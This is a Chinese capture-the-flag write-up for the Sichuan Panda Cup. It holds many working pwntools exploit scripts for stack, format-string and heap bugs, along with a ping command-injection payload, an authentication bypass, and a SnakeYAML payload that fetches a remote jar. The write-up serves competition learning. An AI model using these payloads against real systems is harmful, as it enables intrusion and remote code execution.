四川省熊猫杯初赛和决赛题WP
初赛
web_ezcms
swagger泄露test/test测试账号登录,/sys/user/**没有做鉴权,可以添加一个超级管理员用户,
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141202586-170871422.jpg)
此时仍然不知道roleId。并且role模块没有未授权。继续阅读user模块,发现接口
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141203506-2056064072.jpg)
这里存在roleid泄露,这里填入前面泄露的admin的id fcf34b56-a7a2-4719-9236-867495e74c31
GET /sys/user/roles/fcf34b56-a7a2-4719-9236-867495e74c31
此时知道了超级管理员id为 11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9,添加用户
{
"createWhere":0,
"deptId":"1",
"email":"",
"password":"123456",
"phone":"11111111111",
"roleIds":[
"11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9"
],
"sex":"fmale",
"username":"hacker"
}
password字段解码失败,然后用test账户查看日志发现了aes的key:AbCdEfGhIjKlMnOp,然后添加用户成功,我们添加用户之后,在模块发现了ping功能,但是有waf,绕过waf执行命令,得到flag
POST /sys/ping HTTP/1.1
Host:
User-Agent:Mozilla/5.0(Macintosh;IntelMac OS X 10.15; rv:126.0)Gecko/20100101Firefox/126.0
Accept: application/json, text/javascript,*/*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
authorization: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJmY2YzNGI1Ni1hN2EyLTQ3MTktOTIzNi04Njc0OTVlNzRjMzEiLCJqd3Qtcm9sZXMta2V5XyI6WyLotoXnuqfnrqHnkIblkZgiXSwiaXNzIjoieWluZ3h1ZS5jb20iLCJqd3QtcGVybWlzc2lvbnMta2V5IjpbInN5czp1c2VyOmxpc3QiLCJzeXM6ZGVwdDp1cGRhdGUiLCJzeXM6ZGVwdDpkZXRhaWwiLCJzeXM6dXNlcjpyb2xlOnVwZGF0ZSIsInN5czpwZXJtaXNzaW9uOmFkZCIsInN5czp1c2VyOmFkZCIsInN5czp1c2VyOmRlbGV0ZWQiLCJzeXM6cGVybWlzc2lvbjp1cGRhdGUiLCJzeXM6dXNlcjpkZXRhaWwiLCJzeXM6ZGVwdDpkZWxldGVkIiwic3lzOnJvbGU6dXBkYXRlIiwic3lzOnJvbGU6ZGV0YWlsIiwic3lzOmRlcHQ6bGlzdCIsInN5czpkZXB0OmFkZCIsInN5czp1c2VyOnVwZGF0ZSIsInN5czpyb2xlOmxpc3QiLCJzeXM6cm9sZTpkZWxldGVkIiwic3lzOnBlcm1pc3Npb246bGlzdCIsInN5czpwZXJtaXNzaW9uOmRldGFpbCIsInN5czpwZXJtaXNzaW9uOmRlbGV0ZWQiLCJzeXM6bG9nOmRlbGV0ZWQiLCJzeXM6dXNlcjpyb2xlOmRldGFpbCIsInN5czpyb2xlOmFkZCIsInN5czpsb2c6bGlzdCJdLCJqd3QtdXNlci1uYW1lLWtleSI6ImFkbWluIiwiZXhwIjoxNzE2NzE3MjIwLCJpYXQiOjE3MTY3MTAwMjB9.9wcw8M2Ky0lFTbD2B7YaAmPKTl_EO0kJCB5J3bw8FkA
X-Requested-With: XMLHttpRequest
Content-Length: 28
Origin:
DNT: 1
Sec-GPC: 1
Connection: close
Referer:
Cookie: JSESSIONID=C701D746DA63E8FB94270AD6D2FD9ADB
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=1
{"ip":"10.10.10.10-1 || cat /flag"}
绝密文件-代号P
import cv2
import numpy as np
s=179093209181929149953346613617854206675976823277412565868079070299728290913658
fromCrypto.Util.number import*
# p,q=(241627603783727624224706687817893681267,
# 347432454257893250496407965506777649463)
# # assert p**2+q**2==s
# # print(isPrime(p),isPrime(q))
# Img_path = "flag_enc.png"
# Img = cv2.imread(Img_path)
# print(Img.shape)
from sympy.solvers.diophantine.diophantine import cornacchia
'''
这个地方需要改一下,把s的分解弄出来,直接factordb就可以了
f={7247215681561944590028089613581484765881: 1,157606014243244438240601: 1,5801674693: 1,2: 1,13513: 1}
'''
x1=cornacchia(1,1,s)
for a, b in x1:
assert a**2+b**2==s
if isPrime(a)and isPrime(b):
print(a,b)
# 这里得到了p和q
fromCrypto.Util.number import*
p,q=302951519846417861008714825074296492447,295488723650623654106370451762393175957
s=179093209181929149953346613617854206675976823277412565868079070299728290913658
assert isPrime(p)and isPrime(q)and p**2+q**2==s
import cv2
path1="flag_enc.png"
img=cv2.imread(path1)
# print(img.shape)
r,c,d = img.shape
print(r,c)
# i,j=101,201
from tqdm import tqdm
a,b=p,q
for i in tqdm(range(r)):
for j inrange(c):
set1 =set()
set1.add((i, j))
i1,j1=i,j
whileTrue:
x =(i1 + b * j1)% r
y =((a * i1)+(a * b +1)* j1)% c
i1,j1=x,y
if(x,y)notin set1:
set1.add((x,y))
else:
if i==0and j==0:
continue
assertlen(set1)==190# 都是默认190
# 这里我们发现里面都是190,很巧合,后面直接开始去摸即可
# s1=s%190
# print(s1)
# import numpy as np
# def arnold(img,shuffle_times,a,b):
# r,c,d = img.shape
# p = np.zeros(img.shape,np.uint8)
# print(r,c,d,shuffle_times)
# for s in range(shuffle_times):
# for i in range(r):
# for j in range(c):
# x = (i+b*j)%r
# y = ((a*i)+(a*b+1)*j)%c
# p[x,y,:] = img[i,j,:]
# img = np.copy(p)
# return p
# x1=arnold(img,11,p,q)
# cv2.imwrite("flag3.png",x1)
# # cv2.imwrite("flag1.png",img)
#
c =179093209181929149953346613617854206675976823277412565868079070299728290913658
p,q=302951519846417861008714825074296492447,295488723650623654106370451762393175957
import cv2
import numpy as np
defarnold(img,shuffle_times,a,b):
r,c,d = img.shape
p = np.zeros(img.shape,np.uint8)
print(r,c,d,shuffle_times)
for s inrange(shuffle_times):
for i inrange(r):
for j inrange(c):
x =(i+b*j)%r
y =((a*i)+(a*b+1)*j)%c
p[x,y,:]= img[i,j,:]
img = np.copy(p)
return p
img=cv2.imread("flag_enc.png")
# print(img)
c1=c%190
for i inrange(190):
img=arnold(img,1,p,q)
cv2.imwrite(f"flag{i+1}.png",img)
'''
1.直接暴力枚举一下就行,反正周期是190,全部枚举一遍出来即可,发现i=66的时候,flag67.png里面就是flag
2.flag{Ailuropoda_rnelanoleuca}
'''
坚持做正确的事
从流量包取出来的数据是一个图片的16进制
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141204115-667496384.jpg)
查看他的16进制,发现他的末尾有一段附加数据
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141204919-1421521109.jpg)
是vim画图指令,直接安装DrawIt,输入指令画图就行
GAME
直接玩游戏通关得到flag
这是真签到
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141205695-1581426213.jpg)
FunIoT
给了一套docker文件,运行了一个二进制文件在上面,直接打开逆向,然后动态调试和静态分析结合,分析协议格式,最后利用其中的一个读文件的功能,利用//绕过比较检测:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141206375-612647167.jpg)
然后读取flag:
from pwn import*
import zlib
# p = remote("127.0.0.1", 6768)
p = remote("173.34.20.10",6768)
header =b'FunIoT'# 6
cmd =0x102
cmd_encode =int(cmd).to_bytes(2,"big")
len=0x0101
length =int(len).to_bytes(2,"big")
# content = b'getInfo: shadow'
# content = b'getInfo: /lib/udev/rc_keymaps/asus_pc39.toml'
content =b'getInfo: //flag'
content = content.ljust(0x101,b'\x00')
check_sum =int(zlib.crc32(content)).to_bytes(4,"big")
full_content = header + length + cmd_encode + check_sum + content
# packet:
# header: 6 bytes
# length: 2 bytes
# cmd: 2 bytes
# checksum: 4 bytes
# content: unknow
context.log_level ='debug'
p.send(full_content)
# p.interactive()
import base64
print(base64.b64decode(p.recv()).decode("utf-8"))
# command: getInfo, setInfo, secret
guess_hack
题目要求输入一个最大值和一个最小值,然后猜测这个范围的随机数,猜对了会进入一个栈溢出,溢出字符数量是猜错的次数,所以可以输入两个相邻数字,然后猜错足够次数,再进行常规栈溢出利用,因为开了栈可执行,加上会检测要求payload非空,所以我直接写了shellcode,进行了一点异或绕过非空检测:
# random % (max - min + 1) + min
from pwn import*
context.log_level ='debug'
# p = process("./main")
p = remote("173.34.20.233",9999)
p.sendlineafter(b"ch:",b"1")
p.sendlineafter(b"Enter a minimum and maximum number for the guessing game:",b"1 2")
for i inrange(99):
p.sendlineafter(b"Guess a number",b"1")
p.sendlineafter(b"Guess a number between",b"2")
payload =b'a'*0x3c
payload += p32(0x0805dea9)
payload += asm("""push 0xfffffff4
pop eax
push 0xffffffff
pop ebx
xor eax, ebx
push 0xff978cd0
pop ecx
xor ecx, ebx
push ecx
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
int 0x80""")
payload = payload.ljust(99,b'a')
pause()
p.sendlineafter(b"Congratulations!", payload)
p.interactive()
msg
典中典之栈溢出+格式化字符串漏洞,利用格式化字符串漏洞泄露到canary和libc,然后溢出返回地址为one gadget:
from pwn import*
# p = process("./main")
p = remote("173.34.20.68",9999)
p.sendlineafter(b"message:",b"%11$p")
canary =int(p.recv(18),16)
success(f"canary: {hex(canary)}")
p.sendlineafter(b"message:",b"%3$p")
libc =int(p.recv(14),16)-0x10e1f2
success(f"libc: {hex(libc)}")
one = libc +0xe3b01
p.sendlineafter(b"message:",b'a'*0x28+ p64(canary)+b'b'*8+ p64(one))
pause()
p.sendlineafter(b"message:",b'\x00'*0x10)
p.interactive()
stackover
也是经典栈溢出,只不过远程libc跟本地有点不太一样,加上返回地址是通过lea esp, [ecx-4], ret来返回,导致一直没法利用成功,但是经过控制程序到各种输出的地方,确定栈环境基本一样,所以最后尝试不依赖libc来利用的:
from pwn import*
# context.log_level = 'debug'
# p = process("./stackover")
p = remote(b"173.34.20.46",9999)
p.sendafter(b"read:",b'a'*0x29b)
p.recvuntil(b'a'*0x29b)
canary = u32(b'\x00'+ p.recv(3))
success(f"canary: {hex(canary)}")
# pause()
p.sendafter(b"read:",b'a'*(0x29b+7+8+0x2c-0x30-4))
p.recvuntil(b'a'*(0x29b+7+8+0x2c-0x30-4))
p.recv(4)
p.recv(4)
stack = u32(p.recv(4))
success(f"stack: {hex(stack)}")
# pause()
p.sendafter(b"read:",b'b'*(0x29b+0x18+7))
p.recvuntil(b'b'*(0x29b+0x18+7))
libc = u32(p.recv(4))-0x1aed5
success(f"libc: {hex(libc)}")
# pause()
p.sendafter(b"read:",b'a'*(0x29b+7+8+0x2c+0x54))
p.recvuntil(b'a'*(0x29b+7+8+0x2c+0x54))
elf_base = u32(p.recv(4))-0x3fb8
success(f"elf_base: {hex(elf_base)}")
payload =b'c'*(0x29a-0x14-8)
# execve 0xc9510
# system 0x41780
# puts 0x6dc40
# payload += p32(libc + 0x6dc40)
# payload += p32(elf_base + 0x1130)
payload +=b'/bin/sh\x00'
payload += p32(elf_base +0x128e)
# payload += p32(elf_base + 0x3fcc)
# payload += p32(0)
payload += p32(stack -0x50)
payload += p32(0)
# payload += p32(libc + 0x18e363)
# payload += p32(libc + 0x18e363)
payload += p32(0)
payload += p32(0)
payload += p32(canary)
payload += p32(0)*3
payload += p32(stack -0x44)
payload += p32(elf_base +0x3fb8)
payload +=b'/bin/sh\x00'
pause()
context.log_level ='debug'
p.sendafter(b"read:", payload)
p.interactive()
stackover-revenge
提供255以内的加减法功能,一开始没看到漏洞,后来发现在程序正常流程下面加了一点后门代码:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141207116-1405232494.jpg)
IDA按了F5是看不到这里的,另一个地方的后门代码可以完成上面代码的触发条件:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141208047-275332073.jpg)
所以利用整数溢出,输入一个大于0x7e8的数字就可以达成后门条件:
from pwn import *
p = process("./main")
p.sendlineafter(b"How many times do you want to count?", str(0xffffffff))
p.sendlineafter(b"option:", b"4")
p.sendlineafter(b"option:", b"1")
p.sendlineafter(b"++++++++++++++ input size of number:", b"1")
p.sendlineafter(b"num[0]:", b"1")
p.interactive()
决赛
myerm
访问发现是个登录框,用test/test登录,发现有jwt,猜测伪造
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141208732-800654858.jpg)
所以猜测想利用 JWT 伪造,登陆 admin 用户的话,需要找到一个已经登陆的 SESSION 会话。对题目进行信息收集之后,发现存在 druid 未授权,利用弱口令 admin/123456 进行登录。
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141209491-835105318.jpg)
伪造session还需要key,我们在doc.html看到存在邮箱功能:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141210140-395231835.jpg)
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141210973-1407974231.jpg)
但是无法直接查看邮件,最后用test用户遍历了邮件id,使用api/mail/mailDetail?id=x查看邮件详情,然后在收件箱找到一个测试邮件,在里面发现了key
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141211624-164943474.jpg)
接着伪造session,然后发现后他是若依,目标明确打snakeyaml定时任务,限制长度120
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141212302-1452661742.jpg)
org.yaml.snakeyaml.Yaml.load
('!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader[[!!java.net.URL["http://1.1.1.1:8888/1.jar"]]]]')
otto
把数据拿下来了的rsa,flag分成了两块分别加密
首先看第二部分,数学关系为
m2[i]=(v2−x2[i])e2+msg2[i]modn2
i有两个式子,除了msg2均为已知量,且msg2的两个关系式存在等式关系,直接在环上做gcd即可
def polygcd(f1,f2):
while f2:
f1,f2 = f2,f1 % f2
return f1.monic()
PR.<x>=PolynomialRing(Zmod(n2))
msg2 =[x,c[0]* x + c[1]]
f1 =(m2[0]- msg2[0])** e2 -(v2 - x2[0])
f2 =(m2[1]- msg2[1])** e2 -(v2 - x2[1])
flag2 =-polygcd(f1,f2)[0]
print(long_to_bytes(int(flag2)))
第二部分观察到msg1的数据没有经过pad,转成大数只有168位,但是没有给出v1,观察代码发现v1存在关系式
self.b = randint(0, 1)
self.k1 = randint(1, self.n1)
v = (pow(self.k1, self.e1, self.n1) + self.x1[self.b]) % self.n1
self.client.send(str(v).encode())
b有0和1两种选择,通过b可以把两个式子连接起来,打二元cop出msg即可,二元cop的参数要调大一点
PR.<x,y>=PolynomialRing(Zmod(n1))
msg1 =[x,y]
# k1 = m1[0] - msg1[0]
# f = (m1[1] - msg1[1]) ** e1 - (k1 ** e1 + x1[0] - x1[1])
k1 = m1[1]- msg1[1]
f =(m1[0]- msg1[0])** e1 -(k1 ** e1 + x1[1]- x1[0])
# print(f)
bounds =(2**168,2**168)
root = small_roots(f,bounds,m=6,d=4)
print(root)
完整exp为
from Crypto.Util.number import*
import itertools
defsmall_roots(f, bounds, m=1, d=None):
ifnot d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G =Sequence([], f.parent())
for i inrange(m +1):
base = N ^(m - i)* f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors =[monomial(*bounds)for monomial in monomials]
for i, factor inenumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor inenumerate(factors):
B.rescale_col(i,1/ factor)
H =Sequence([], f.parent().change_ring(QQ))
for h infilter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension()==-1:
H.pop()
elif I.dimension()==0:
roots =[]
for root in I.variety(ring=ZZ):
root =tuple(R(root[var])for var in f.variables())
roots.append(root)
return roots
return[]
defpolygcd(f1,f2):
while f2:
f1,f2 = f2,f1 % f2
return f1.monic()
c =[2022192084163865871637311910190343009806372281260940433264866710576717827000158190013454140869282023553794168299850642713592857046603901804667940047118351375526819434245929363285575321841139031828203969945166801239181091856967945653548638281912992865859782543006093627628764190870048182733564610346559175554351590756572067638680287831888951790549721647896128434643949839982021154615115260457999786151004733151130820602433196485192091297036565179140159868992152310647228915941684271200707824836388347153359567736106504118830380335535571497974547855922884383469780130087191722420344937756494122346487016566419242463836,12061552506303089886042745624408653176981782225020423963019198845243742139258023869466665561793608045001319021047887667664174994585869340313951796548176269089114160706384746387983277073112591591489643976442622321188641202129622786824693293150098394659731881683945896467114040450861544761586718952331369001004695294268894235852363740831011251046468659589566501557902013744612394168830044111638387497950139803719642714677584615407052702028855832555056064595619857064644590245323361565888668910950428292688990851782269368022834514035734196544300120061524133712573144079293439936276463509498262847888571155492592609260783]
v2 =9556276713294185634675025767802869929252472183681399946558259127635089951399817649411122499036657904914953334191629273438214371861747375930220930123236040473592720606113932507502872050616210539047321307830911690987874269273684519795136175561107095807358688729096068293698083610276557300656827563421114987688852668095314933405088107467416611145574761738655696672560862813137945205091832198111391817949039251665825121659323773270436391580589841573178391221735428798318886660824941824216932260996644044749424023313841093829840154123672637916095508058599701154434489213872161152359221137791753598589303710126033417598315
n1 =11271769636481167201792947869036553992227573210518633030219178803383349111691460202925344961485630519396298556298353185729133425424986251013234507574460564567554706523170816213012134101324728485027759939177868268886490620475377111559309854971172536072912492915397424686135393068344370029572892256194814415101890916563130328570803042252136741183269883671849873603956230726294410435185435014274882048506167456427852608126478349488290872256072029149848433197043410728314084380999316723835302043375017580973032065204288589969252813061043853493941665391349852606781487173854475699462142399025313772992266906492948457481343
e1 =3
x1 =[9515572144467353102693379312418710955214891592376652277288115734279056734333735433842688458064791727513305863861235023479729328042101083071837571497065148511710639753106684253478831875505030519724899081680516833763198547371577091213443181418357026416055217075672599840276222008249647801652670192401687584389238718466389175705227396073077728212161850918020236614953688339567726286493333833192267092340593829218909756169268170625006694216875605112065267454732423903631737275763224769800017009573049312062340144144829220945642953262132895898315831950065807615456546917913668105293794016444579372988387899070119905188852,1892034120103884655057748481218744968570886603116770464293986717297275954889143292301699430583870055377213531296557183365836328935582605537911332825510113738818872104690943672685087209698335996263632901023795785958711815234874952640699783061740546868363055353091127902362863942669248423826595254894726944833887263833323809149528895833061490548685459108186763244472560195193139974039077951072951624681272257192017679341819986081273918682657482308353776379587845617737285532310255049963865808295659252810449272607145518278622472711380742500844288926728181235765064078778435360592122889548497811844849141090787687431691]
m1 =[6016241168918008003676308976207100363787886056310414524692817266526816044605861589333265680725516797725157476881964627121341856194031952078224223712707203444145810288009516867166444302906259425595314875099543375758202468607877956110531218864874778701312073626804583736300557519077867674205675297659120854857631861820501341218694648899186245660067972817620811237063040820817563464199716096063261214384822141532599155146824331413684812783001628935032487957306346174008702256595545954862755182240217576044236510482955069793116079796093428542806091985359518377611477601123779397291583947727903087310885258578166713562127,5440147501940638137024850606017297210337534677408842136379920848781712980462447118877171733606863014259702536891618925774163741294802932568915293766589177284295703266970860357526016987325665154313719066965567249222221131682926705272951530070261409867083615183965724021333853123572753014882129436586571389423155293377948368049140838120533008304139511510566634163176216591511566937364023875888461854372432939610104040445984493844672803393249479769170488441311099318570005369329133726459281759202562040178972797271360551614266347925035798206639977703364862505440147494902280456168540628714355582075950777307761924432387]
n2 =13734553138242318628382054742480981343446984988191688662254986243627157625179176065241156011696302206618179554684039418464583144145503176708791330560172722535768542184698066880611009153616062090684034664602606266851696293869899452519578725665110985148196543998607394795861120331954638386927099371326884429866634685812799207305104476545524154915042406729289612658166510017492482175075872284724725422863660604254919264739710275468027278899773185461791413509280443599747367129337405961244474327733607586747648790915994322826728272773783653766560606552040854271186948727715576352830926898026093434984246855183310757045761
e2 =97
x2 =[13177195145643985162369622498401365177499138154538273683105144116544719466309962486453254331776465984111024384000978936709809981151700299715082451736814113126287335911167543580326081550513657585920705158990979388476560541554360224739435428369017964910714020825020400206978492083575209281469099197416561057829071411270433371623496230236473419547584375357556353533487865301248950946032111351087126169856720042454654832226420081909659506864195491980123873801598391036249027256808516343923925600130215162930220263798094559698140483803320057081107578634042891033997459769087238265628113428210401614417877839230901721993190,6087668416419425621015217192937881819030086776814461931461321271071632965704332777171900656493718038405650018773284906392054768417180630397123329675678721202895156479498192567976488835849134098984496538043518882047967632186092698690848611693438041802874429890978003588117644629011459601875026269618173841010295947617126507755463408314735056141532883079433786701501106150571651039383128288126543960497006195953471865106598447153220760899089004772873548377773392286170683824466138705674297182685522941020265251198373775479428578340308681511331066572161101438312245374528237712280314548370382811282427949209246902963620]
m2 =[11290088192896104506026832060270527943714366880404242912266063784753126354203886059118599709669598729492075209588587167909865752372998401224088902550832115846922950445881033989219174580290127597931540821558287876108098891608071532321402919702498057050600028620041146727752759548708970938132742356572135342729734097482396575542041618189798845322991442136889598236510334924501541556553680371235401907549785446331539870340463389985682807901483008146184213709636864164058105540385607059315722869586747109233390594619151596441257862747687967610987191500891685999700118692739878206205390683771336361205725982750841624412918,13297923293604079904865691526854689771243166342933215235463378384491550135554561777664960232137603383114093048818781509117309259419714741409995439792770006827393488190799203124259891829424051546917028377316926517036925667257317044743094940629506839160375855343993956627134396913916798323848609907197075057202723651440732344941034655107043117917579554777531225809712600877171322938484588653102197119270286456014097076345973054360242768465566465700893203405936053400775455573738231554838583225080952941328332237618198730448032110880353626965942852413612822837453591096974975301303294918593974328897924663396162439300901]
PR.<x>=PolynomialRing(Zmod(n2))
msg2 =[x,c[0]* x + c[1]]
f1 =(m2[0]- msg2[0])** e2 -(v2 - x2[0])
f2 =(m2[1]- msg2[1])** e2 -(v2 - x2[1])
flag2 =-polygcd(f1,f2)[0]
# print(long_to_bytes(int(flag2)))
print(flag2)
PR.<x,y>=PolynomialRing(Zmod(n1))
msg1 =[x,y]
# k1 = m1[0] - msg1[0]
# f = (m1[1] - msg1[1]) ** e1 - (k1 ** e1 + x1[0] - x1[1])
k1 = m1[1]- msg1[1]
f =(m1[0]- msg1[0])** e1 -(k1 ** e1 + x1[1]- x1[0])
# print(f)
bounds =(2**168,2**168)
root = small_roots(f,bounds,m=6,d=4)
print(root)
flag1 = root[0][0]
print(flag1)
flag = long_to_bytes(int(flag1))+ long_to_bytes(int(flag2))
print(flag)
ezmodbus
工具一把梭,去掉中间的杠
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141213055-1460472283.jpg)
是谁偷偷偷走我的心
打开流量发现winrm,用github脚本解密,在linux跑,windows要报错,Winrm流量解密:https://fdlucifer.github.io/2022/01/05/decrypt-winrm-traffic/
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141213889-127957498.jpg)
解密之后发现了数据,两段base64数据,找到之后,发现是aes,尝试发现ntmlhash是aes的key
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141214558-1202341975.jpg)
直接解密aes
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141215328-86042976.jpg)
bluetooth
打开报错提示流量包的数据包有问题,用010发现末尾有个flag.zip,提取出来发现有密码
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141215991-1329616895.jpg)
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141216642-324294183.jpg)
xbox发送的数据应该是btl2cap and usb.dst==host,过滤出localhost发送给remote的数据
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141217511-48315890.jpg)
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141218295-233202344.jpg)
tshark -r .\xbox.pcapng -T fields -Y "btl2cap and usb.dst==host" -e btl2cap.payload > 1.txt
过滤出来之后发现倒数第二位只有五种值,是云隐密码,解密得到
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141218973-1720261513.jpg)
108841021084088421082088102088410210810884210000解密这段数据,得到压缩包密码AUCLWJQBUCIW,解开发现里面有个aes,我们还需要找aes的key
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141219605-513124751.jpg)
然后我们在倒数第三个字节发现只有1,3,5脑洞莫斯电码
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141220311-2016598034.jpg)
用1代替. 3代替- 5代替空格得到
..--- .-.----.--....------...-....---..----...............-.----.---- .----
得到2AE9717689554111
然后解aes得到flag{5508d742-bae4-44a0-9376-25ba9c22de6d}
ISC2
我们翻流量发现两个订单号0YB7,0YA5
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141221073-738712296.jpg)
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141221990-1031046994.jpg)
我们发现这三段和其他的流量不一样,猜测是cpu保护密码
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141222717-623745175.jpg)
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141223474-1107065121.jpg)
我们找到一篇文章
https://andisec.com/gongkongshentoukuangjia-s7-300mimapuojie.html
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141224146-1372676192.jpg)
解密得到数据LpvqC4TS
第三段数据过滤所有写入寄存器数据包,我们看到了i#R
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141224842-1416001425.jpg)
拼接到一起就是flag
login
需要输入一个随机数,对应/dev/urandom,然后会产生栈溢出:
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141225573-1814686310.jpg)
![](https://img2023.cnblogs.com/blog/1049983/202408/1049983-20240802141226365-1754240678.jpg)
因为这里可以反复打开/dev/urandom,而没有进行关闭,所以多次打开后,会打开失败返回-1,然后返回到一个读取flag的后门函数就可以了。
from pwn import*
# context.log_level = 'debug'
# p = process("./main")
p = remote("173.34.20.213",9999)
for i inrange(0x1000):
p.sendlineafter(b"ch:",b"1")
p.sendlineafter(b"passwd:",b"0")
# print(f"[{i}]")
recv = p.recv(11)
# print(recv)
ifb"open"in recv:
p.sendlineafter(b"ch:",b"1")
p.sendlineafter(b"passwd:",b"-1")
payload =b'a'*0x2a
payload += p32(0x08049E35)
pause()
p.sendlineafter(b"login success", payload)
p.interactive()
safestring
提供加解密字符串,输出字符串,输出存在格式化字符串漏洞,先把要输入的地址进行加密,输出后作为结果输入到解密里,进行格式化字符串漏洞利用,修改总函数的返回地址,分三次改到one_gadget
from pwn import*
# context.log_level = 'debug'
p = process("./main")
# p = remote("173.34.20.120", 9999)
# leak
# de %s->%p
p.sendlineafter(b">>",b"2")
# stack, elf, libc
p.sendlineafter(b"input text:","|%8$s|%17$s|%6$s|%19$s|")
p.sendlineafter(b">>",b"3")
p.recvuntil(b"|")
stack =int(p.recvuntil(b"|")[:-1],16)
canary =int(p.recvuntil(b"|")[:-1],16)
elf_base =int(p.recvuntil(b"|")[:-1],16)-0x1650
libc =int(p.recvuntil(b"|")[:-1],16)-0x24083
success(f"stack: {hex(stack)}")
success(f"canary: {hex(canary)}")
success(f"elf: {hex(elf_base)}")
success(f"libc: {hex(libc)}")
# exp
one_gadget = libc +0xe3b01
success(f"one: {hex(one_gadget)}")
byte1 = one_gadget &0xff
byte2 =(one_gadget >>8)&0xff
byte3 =(one_gadget >>16)&0xff
defwrite_byte(b, offset):
p.sendlineafter(b">>",b"1")
addr = p64(stack +8+ offset)
p.sendlineafter(b"input text:", addr)
p.sendlineafter(b">>",b"3")
p.recvuntil(b"text result: ")
addr = p.recvuntil(b"\n")[:-1]
# context.log_level = 'debug'
p.sendlineafter(b">>",b"2")
payload =b"%"+str(b).encode("utf-8")+b"f%14$kkq"
if b <10:
payload +=b"......"
payload += addr
elif b <0x10:
payload +=b"....."
payload += addr
else:
payload +=b"...."
payload += addr
# pause()
p.sendlineafter(b"input text:", payload)
p.sendlineafter(b">>",b"3")
write_byte(byte1,0)
write_byte(byte2,1)
write_byte(byte3,2)
p.sendlineafter(b">>",b"4")
p.interactive()
# 0x7ffff7 df 30 83
# 0x7ffff7 eb 2a fe
panda
修改name的时候存在堆溢出,先分配三个大堆块,释放掉中间的然后切割出来小的就可以拿到libc地址,跟昨天一样都是2.31的libc,所以直接利用堆溢出修改下个堆块里的name指针为free_hook,然后修改指向free_hook的name,让他指向system,再释放一个有/bin/sh字符串的堆块就可以了
from pwn import*
# context.log_level = 'debug'
libc = ELF("./libc-2.31.so")
# p = process("./main")
p = remote("173.34.20.227",9999)
defadd(size, name, content):
p.sendlineafter(b"Enter your choice: ",b"1")
p.sendlineafter(b"Enter size: ",str(size))
p.sendafter(b"Enter panda name: ", name)
p.sendafter(b"Enter panda content: ", content)
defedit(idx, name, content):
p.sendlineafter(b"Enter your choice: ",b"2")
p.sendlineafter(b"Enter panda id to edit: ",str(idx))
p.sendafter(b"Enter panda name: ", name)
p.sendafter(b"Enter panda content: ", content)
defshow():
p.sendlineafter(b"Enter your choice: ",b"3")
defdele(idx):
p.sendlineafter(b"Enter your choice: ",b"4")
p.sendlineafter(b"Enter panda id to delete: ",str(idx))
add(0x400,'a','b')# 0
add(0x400,'a','b')# 1, freed
add(0x400,'a','b')# 2, 1
dele(1)
add(0x18,'f','f')# 2
show()
p.recvuntil(b"ID: 2, Name: ")
libc.address = u64(p.recvuntil(b",")[:-1].ljust(8,b'\x00'))-0x1ecf66
success(f"libc: {hex(libc.address)}")
free_hook = libc.sym["__free_hook"]
one_gadget = libc.address +0xe3b04
one_gadget = libc.sym['system']
# pause()
edit(0,b'a'*(0x430-8)+ p64(0x21)+ p64(0x0000001800000002)+ p64(free_hook)+ p64(free_hook +0x10)+b"\n",b'1')
# pause()
edit(2, p64(one_gadget)+b"\n",b'1')
# pause()
edit(0,b'/bin/sh\x00\n',b'/bin/sh\x00\n')
dele(0)
p.sendline("ls")
p.interactive()
gateway
nginx用fastcgi启动了一个cgi程序,并且提供了dockerfile,可以本地搭起来然后用gdb调试。
